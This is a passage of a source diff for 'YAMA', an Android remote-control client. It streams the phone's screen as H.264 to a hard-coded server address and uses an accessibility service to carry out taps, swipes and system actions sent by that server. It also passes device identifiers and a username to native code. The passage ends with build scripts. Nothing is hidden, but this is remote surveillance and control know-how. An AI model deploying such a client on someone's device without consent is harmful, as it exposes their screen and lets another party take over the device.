private fun getPhysicalResolution(): Pair<Int, Int> {
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val b = wm.currentWindowMetrics.bounds
Pair(b.width(), b.height())
} else {
@Suppress("DEPRECATION")
val dm = DisplayMetrics()
@Suppress("DEPRECATION")
wm.defaultDisplay.getRealMetrics(dm)
Pair(dm.widthPixels, dm.heightPixels)
}
}
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
private fun isNaluKeyframe(data: ByteArray): Boolean {
var i = 0
while (i + 4 < data.size) {
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
val nalType = data[i + 4].toInt() and 0x1F
if (nalType == 5 || nalType == 7 || nalType == 8) return true
i += 5
} else {
i++
}
}
return false
}
/** 按长边上限等比缩小,宽高各自 2 对齐(H.264 要求) */
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
val longSide = maxOf(w, h)
if (longSide <= maxLong) return Pair(w and -2, h and -2)
val scale = maxLong.toDouble() / longSide
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
NotificationManager.IMPORTANCE_LOW)
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
}
}
private fun buildNotification(): Notification {
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
Notification.Builder(this, CHANNEL_ID)
else
@Suppress("DEPRECATION") Notification.Builder(this)
return b.setContentTitle("YAMA")
.setContentText("Screen monitoring active")
.setSmallIcon(android.R.drawable.ic_menu_camera)
.build()
}
}
@@ -0,0 +1,424 @@
package com.yama.client
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.annotation.SuppressLint
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.graphics.Path
import android.graphics.PointF
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.os.SystemClock
import android.util.Log
import android.view.View
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
/**
* AccessibilityService that injects touch gestures and global key actions
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
*
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
* installs on API 21+ but gesture injection only runs on 24+.
*
* Activation: Settings → Accessibility → YAMA → enable.
*/
@SuppressLint("NewApi")
class ControlService : AccessibilityService() {
companion object {
const val TAG = "YAMA_CTRL"
// ── Service instance ─────────────────────────────────────────────
@Volatile var instance: ControlService? = null
// ── Active foreground window ─────────────────────────────────────
@JvmStatic
@Volatile var activeWindow: String = "Android"
// ── Screen geometry (set by CaptureService) ──────────────────────
// Server sends coords in encoding space [0, encW) × [0, encH).
// We map them to physical screen space before dispatching.
@Volatile var physW = 1080
@Volatile var physH = 1920
@Volatile var encW = 1080
@Volatile var encH = 1920
// ── Windows message constants ────────────────────────────────────
const val WM_MOUSEMOVE = 0x0200
const val WM_LBUTTONDOWN = 0x0201
const val WM_LBUTTONUP = 0x0202
const val WM_LBUTTONDBLCLK = 0x0203
const val WM_RBUTTONDOWN = 0x0204
const val WM_MBUTTONDOWN = 0x0207
const val WM_MOUSEWHEEL = 0x020A
const val WM_KEYDOWN = 0x0100
const val WM_SYSKEYDOWN = 0x0104
/**
* Called from C++ DataProcess() via JNI on the IO thread.
* Parameters:
* message – Windows WM_* constant (low 16 bits of MSG64.message)
* wParam – MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
* ptX/ptY – MSG64.pt in encoding-space pixels
*/
@JvmStatic
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
val svc = instance ?: run {
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
return
}
// All gesture state lives on the main thread; post there.
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
}
}
// ── Screen state receiver ─────────────────────────────────────────────
private val screenReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
}
}
}
// ── Main-thread handler ───────────────────────────────────────────────
private val handler = Handler(Looper.getMainLooper())
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
// to accessibility focus navigation — no touchscreen or root required.
private var isTV = false
private var tvLastEncX = -1f
private var tvLastEncY = -1f
private var tvAccumDX = 0f
private var tvAccumDY = 0f
private val TV_STEP = 40f // encoding-space pixels per D-pad step
// Touch-drag disambiguation: fire click on LBUTTONUP only if finger barely moved
private var tvTouchDown = false
private var tvTouchDownX = 0f
private var tvTouchDownY = 0f
private var tvTouchMoved = false
private val TV_TAP_THRESHOLD = 15f // encoding pixels — below this = tap, above = drag
// ── Left-button drag accumulator ─────────────────────────────────────
private var lbuttonDown = false
private var gestureStart = 0L
// Pairs of (millisecond offset from gesture start, screen point)
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
// ─────────────────────────────────────────────────────────────────────
// AccessibilityService lifecycle
override fun onServiceConnected() {
super.onServiceConnected()
instance = this
isTV = packageManager.hasSystemFeature("android.software.leanback")
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
}
registerReceiver(screenReceiver, filter)
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
}
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
val pkg = event.packageName?.toString()
if (!pkg.isNullOrEmpty()) activeWindow = pkg
}
}
override fun onInterrupt() {}
override fun onDestroy() {
super.onDestroy()
runCatching { unregisterReceiver(screenReceiver) }
instance = null
Log.i(TAG, "ControlService destroyed")
}
// ─────────────────────────────────────────────────────────────────────
// Event routing (runs on main thread)
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
if (isTV) { handleEventTV(message, wParam, ptX, ptY); return }
// Scale encoding-space coords to physical screen
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
if (message != WM_MOUSEMOVE)
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
when (message) {
// ── Left button: accumulate drag path, dispatch on up ─────────
WM_LBUTTONDOWN -> {
lbuttonDown = true
gestureStart = SystemClock.uptimeMillis()
strokePoints.clear()
strokePoints.add(0L to PointF(x, y))
}
WM_MOUSEMOVE -> {
if (lbuttonDown) {
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
}
}
WM_LBUTTONUP -> {
if (!lbuttonDown) return
lbuttonDown = false
val elapsed = SystemClock.uptimeMillis() - gestureStart
strokePoints.add(elapsed to PointF(x, y))
val down = strokePoints[0].second
val dx = x - down.x
val dy = y - down.y
// ── System edge-gesture detection ────────────────────────────
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
val minH = physH * 0.15f // minimum vertical travel
val minW = physW * 0.20f // minimum horizontal travel
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
when {
fromLeft || fromRight -> {
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
performGlobalAction(GLOBAL_ACTION_BACK)
}
fromTop -> {
// Right half of screen → quick settings; left half → notifications
if (down.x > physW * 0.5f) {
Log.d(TAG, "Top-swipe quick settings")
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
} else {
Log.d(TAG, "Top-swipe notifications")
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
}
}
fromBottom -> {
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_RECENTS)
} else {
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_HOME)
}
}
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
dispatchTap(down.x, down.y)
else ->
dispatchTouchGesture(strokePoints)
}
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
CaptureService.requestIdr()
strokePoints.clear()
}
// ── Double-click → two rapid taps ────────────────────────────
WM_LBUTTONDBLCLK -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val p = singlePointPath(x, y)
val gesture = GestureDescription.Builder()
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
.build()
dispatchGesture(gesture, null, null)
}
// ── Right-click → long press (600 ms) ────────────────────────
WM_RBUTTONDOWN -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
}
// ── Scroll wheel → vertical swipe ─────────────────────────────
WM_MOUSEWHEEL -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
val delta = (wParam.toInt() ushr 16).toShort().toInt()
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
val dy = if (delta > 0) 400f else -400f
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
CaptureService.requestIdr()
}
// ── Keyboard → global actions only ───────────────────────────
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
}
}
// ─────────────────────────────────────────────────────────────────────
// Helpers
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
if (points.isEmpty()) return
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path()
path.moveTo(points[0].second.x, points[0].second.y)
for (i in 1 until points.size) {
path.lineTo(points[i].second.x, points[i].second.y)
}
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
val duration = maxOf(points.last().first, 50L)
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
val ok = dispatchGesture(
GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
},
null
)
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
}
// ─────────────────────────────────────────────────────────────────────
// TV D-pad mode — translates mouse events to accessibility focus actions
private fun handleEventTV(message: Int, wParam: Long, ptX: Int, ptY: Int) {
when (message) {
WM_MOUSEMOVE -> {
if (tvLastEncX >= 0) {
tvAccumDX += ptX - tvLastEncX
tvAccumDY += ptY - tvLastEncY
while (tvAccumDX > TV_STEP) { tvMoveFocus(View.FOCUS_RIGHT); tvAccumDX -= TV_STEP }
while (tvAccumDX < -TV_STEP) { tvMoveFocus(View.FOCUS_LEFT); tvAccumDX += TV_STEP }
while (tvAccumDY > TV_STEP) { tvMoveFocus(View.FOCUS_DOWN); tvAccumDY -= TV_STEP }
while (tvAccumDY < -TV_STEP) { tvMoveFocus(View.FOCUS_UP); tvAccumDY += TV_STEP }
}
if (tvTouchDown) {
val dx = ptX - tvTouchDownX
val dy = ptY - tvTouchDownY
if (dx * dx + dy * dy > TV_TAP_THRESHOLD * TV_TAP_THRESHOLD) tvTouchMoved = true
}
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONDOWN -> {
tvTouchDown = true
tvTouchDownX = ptX.toFloat()
tvTouchDownY = ptY.toFloat()
tvTouchMoved = false
tvAccumDX = 0f
tvAccumDY = 0f
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONUP -> {
if (tvTouchDown && !tvTouchMoved) tvClick()
tvTouchDown = false
}
WM_LBUTTONDBLCLK -> tvClick()
WM_RBUTTONDOWN -> performGlobalAction(GLOBAL_ACTION_BACK)
WM_MOUSEWHEEL -> {
val delta = (wParam.toInt() ushr 16).toShort().toInt()
tvScroll(delta < 0)
}
WM_KEYDOWN, WM_SYSKEYDOWN -> {
val vk = wParam.toInt() and 0xFFFF
when (vk) {
0x25 -> tvMoveFocus(View.FOCUS_LEFT) // VK_LEFT
0x26 -> tvMoveFocus(View.FOCUS_UP) // VK_UP
0x27 -> tvMoveFocus(View.FOCUS_RIGHT) // VK_RIGHT
0x28 -> tvMoveFocus(View.FOCUS_DOWN) // VK_DOWN
0x0D -> tvClick() // VK_RETURN
else -> handleKeyDown(vk)
}
}
}
}
@Suppress("DEPRECATION")
private fun tvMoveFocus(direction: Int) {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null) {
val first = findFirstFocusable(root)
first?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
first?.recycle()
} else {
val next = focused.focusSearch(direction)
next?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
focused.recycle()
next?.recycle()
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvClick() {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused != null) {
focused.performAction(AccessibilityNodeInfo.ACTION_CLICK)
focused.recycle()
} else {
Log.w(TAG, "tvClick: no focused node")
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvScroll(forward: Boolean) {
val root = rootInActiveWindow ?: return
val action = if (forward) AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
else AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null || !focused.performAction(action)) root.performAction(action)
focused?.recycle()
root.recycle()
}
// Walk accessibility tree depth-first, return first visible focusable node (caller must recycle)
@Suppress("DEPRECATION")
private fun findFirstFocusable(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
if (node.isFocusable && node.isVisibleToUser) return AccessibilityNodeInfo.obtain(node)
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
val hit = findFirstFocusable(child)
child.recycle()
if (hit != null) return hit
}
return null
}
private fun handleKeyDown(vk: Int) {
when (vk) {
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
}
}
private fun dispatchTap(x: Float, y: Float) {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
}, null)
if (!ok) Log.e(TAG, "dispatchTap returned false")
}
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
}
@@ -0,0 +1,65 @@
package com.yama.client
import android.app.Activity
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private val serverIp = "91.99.165.207"
private val serverPort = 443
private lateinit var projectionManager: MediaProjectionManager
companion object {
const val REQUEST_MEDIA_PROJECTION = 1001
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null,
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
if (savedInstanceState != null) { finish(); return }
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (requestCode == REQUEST_MEDIA_PROJECTION) {
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(CaptureService.TAG, "MediaProjection permission granted")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
} else {
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
finish()
}
}
override fun onDestroy() {
super.onDestroy()
}
}
@@ -0,0 +1,27 @@
package com.yama.client
object YamaBridge {
init {
System.loadLibrary("yama")
}
external fun nativeInit(
serverIp: String,
serverPort: Int,
androidId: String,
deviceModel: String,
androidVersion: String,
screenRes: String,
username: String,
apkPath: String,
filesDir: String
): Int
external fun nativeStop()
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
external fun nativeSetScreenSize(width: Int, height: Int)
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
}
@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>
@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#F2F2F2</color>
</resources>
@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">YAMA</string>
<string name="accessibility_service_description">YAMA remote control service</string>
</resources>
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
<item name="colorPrimary">#1A73E8</item>
<item name="colorPrimaryDark">#1558B0</item>
<item name="colorAccent">#1A73E8</item>
</style>
</resources>
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeWindowStateChanged"
android:accessibilityFeedbackType="feedbackGeneric"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="0"
android:settingsActivity="com.yama.client.MainActivity" />
+4
View File
@@ -0,0 +1,4 @@
plugins {
id 'com.android.application' version '8.10.1' apply false
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
}
+197
View File
@@ -0,0 +1,197 @@
<#
.SYNOPSIS
Build libzstd.a and libsign.a for Android (4 ABIs)
.DESCRIPTION
Cross-compile Android static libraries on Windows using Android SDK cmake + NDK.
Supports: arm64-v8a / armeabi-v7a (device), x86 / x86_64 (emulator)
Usage:
cd C:\github\YAMA\android
PowerShell -ExecutionPolicy Bypass -File .\build_android_libs.ps1
Options:
-Force Rebuild even if .a files already exist
-SimplePluginsPath Path to SimplePlugins repo (default: sibling directory)
-ZstdOnly Build libzstd.a only
-SignOnly Build libsign.a only
#>
param(
[switch]$Force,
[string]$SimplePluginsPath = "",
[switch]$ZstdOnly,
[switch]$SignOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
$SCRIPT_DIR = $PSScriptRoot
# -- Android SDK ---------------------------------------------------------------
$SDK = $env:ANDROID_HOME
if (-not $SDK) { $SDK = $env:ANDROID_SDK_ROOT }
if (-not $SDK) { $SDK = "$env:LOCALAPPDATA\Android\Sdk" }
if (-not (Test-Path $SDK)) {
Write-Error "Android SDK not found: $SDK`nSet ANDROID_HOME environment variable."
exit 1
}
# -- NDK -----------------------------------------------------------------------
$NDK = $env:ANDROID_NDK
if (-not $NDK) { $NDK = $env:ANDROID_NDK_HOME }
if (-not $NDK -or -not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
$ndkCandidate = Get-ChildItem "$SDK\ndk" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending |
Select-Object -First 1
if ($ndkCandidate) { $NDK = $ndkCandidate.FullName }
}
if (-not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
Write-Error "NDK not found. Install via Android Studio > SDK Manager > NDK, or set ANDROID_NDK."
exit 1
}
Write-Host "NDK: $NDK"
# -- Android SDK cmake + ninja -------------------------------------------------
$CMAKE = $null
$sdkCmakeDirs = Get-ChildItem "$SDK\cmake" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending
foreach ($dir in $sdkCmakeDirs) {
$cmakeBin = "$($dir.FullName)\bin\cmake.exe"
$ninjaBin = "$($dir.FullName)\bin\ninja.exe"
if ((Test-Path $cmakeBin) -and (Test-Path $ninjaBin)) {
$CMAKE = $cmakeBin
$env:PATH = "$($dir.FullName)\bin;$env:PATH"
break
}
}
if (-not $CMAKE) {
$cmakeCmd = Get-Command cmake -ErrorAction SilentlyContinue
if ($cmakeCmd) { $CMAKE = $cmakeCmd.Source }
}
if (-not $CMAKE) {
Write-Error "cmake not found. Install via Android Studio > SDK Manager > cmake."
exit 1
}
Write-Host "cmake: $CMAKE"
# -- SimplePlugins -------------------------------------------------------------
$SIGN_SRC = $SimplePluginsPath
if (-not $SIGN_SRC) {
$candidate = "$SCRIPT_DIR\..\..\SimplePlugins"
if (Test-Path $candidate) {
$SIGN_SRC = (Resolve-Path $candidate).Path
}
}
if ((-not $ZstdOnly) -and (-not (Test-Path "$SIGN_SRC\license_unix.cpp"))) {
Write-Error "SimplePlugins not found: $SIGN_SRC`nUse -SimplePluginsPath C:\path\to\SimplePlugins"
exit 1
}
if (-not $ZstdOnly) { Write-Host "sign: $SIGN_SRC" }
# -- Common variables ----------------------------------------------------------
$TOOLCHAIN = "$NDK\build\cmake\android.toolchain.cmake"
$ABIS = @("arm64-v8a", "armeabi-v7a", "x86", "x86_64")
$LIB_BASE = "$SCRIPT_DIR\app\src\main\cpp\lib"
# ==============================================================================
# Part 1 - libzstd.a
# ==============================================================================
if (-not $SignOnly) {
$ZSTD_VER = "1.5.7"
$ZSTD_SRC = "$SCRIPT_DIR\zstd-$ZSTD_VER"
if (-not (Test-Path $ZSTD_SRC)) {
$TAR = "$SCRIPT_DIR\zstd.tar.gz"
Write-Host "`nDownloading zstd $ZSTD_VER..."
Invoke-WebRequest `
"https://github.com/facebook/zstd/releases/download/v$ZSTD_VER/zstd-$ZSTD_VER.tar.gz" `
-OutFile $TAR
Write-Host "Extracting..."
tar -xf $TAR -C $SCRIPT_DIR
Remove-Item $TAR
}
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libzstd.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] zstd $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== zstd $ABI ====="
$BUILD = "$SCRIPT_DIR\zstd_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$ZSTD_SRC\build\cmake",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-O2 -g0",
"-DZSTD_BUILD_STATIC=ON",
"-DZSTD_BUILD_SHARED=OFF",
"-DZSTD_BUILD_PROGRAMS=OFF",
"-DZSTD_BUILD_TESTS=OFF",
"-DZSTD_LEGACY_SUPPORT=0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\lib\libzstd.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\zstd_build" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force $ZSTD_SRC -ErrorAction SilentlyContinue
}
# ==============================================================================
# Part 2 - libsign.a
# ==============================================================================
if (-not $ZstdOnly) {
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libsign.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] sign $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== sign $ABI ====="
$BUILD = "$SCRIPT_DIR\sign_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$SIGN_SRC\sign_lib",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-Os -g0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\libsign.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\sign_build" -ErrorAction SilentlyContinue
}
# -- Summary -------------------------------------------------------------------
Write-Host "`n===== Done ====="
Get-ChildItem $LIB_BASE -Recurse -Filter "*.a" | Sort-Object FullName |
ForEach-Object {
$rel = $_.FullName.Substring($LIB_BASE.Length + 1)
$sz = [math]::Round($_.Length / 1KB)
Write-Host (" {0,-40} {1,6} KB" -f $rel, $sz)
}
+307
View File
@@ -0,0 +1,307 @@
#!/usr/bin/env bash
# Build YAMA Android APK
# Works on WSL, native Linux, macOS
# Usage: ./build_apk.sh [debug|release] (default: debug)
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"
# ── Detect WSL ───────────────────────────────────────────────────────────────
IS_WSL=false
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
# ── Find Android SDK ─────────────────────────────────────────────────────────
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
SDK_DIR="$ANDROID_HOME"
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
SDK_DIR="$ANDROID_SDK_ROOT"
elif $IS_WSL; then
# Auto-detect from Windows %USERPROFILE%
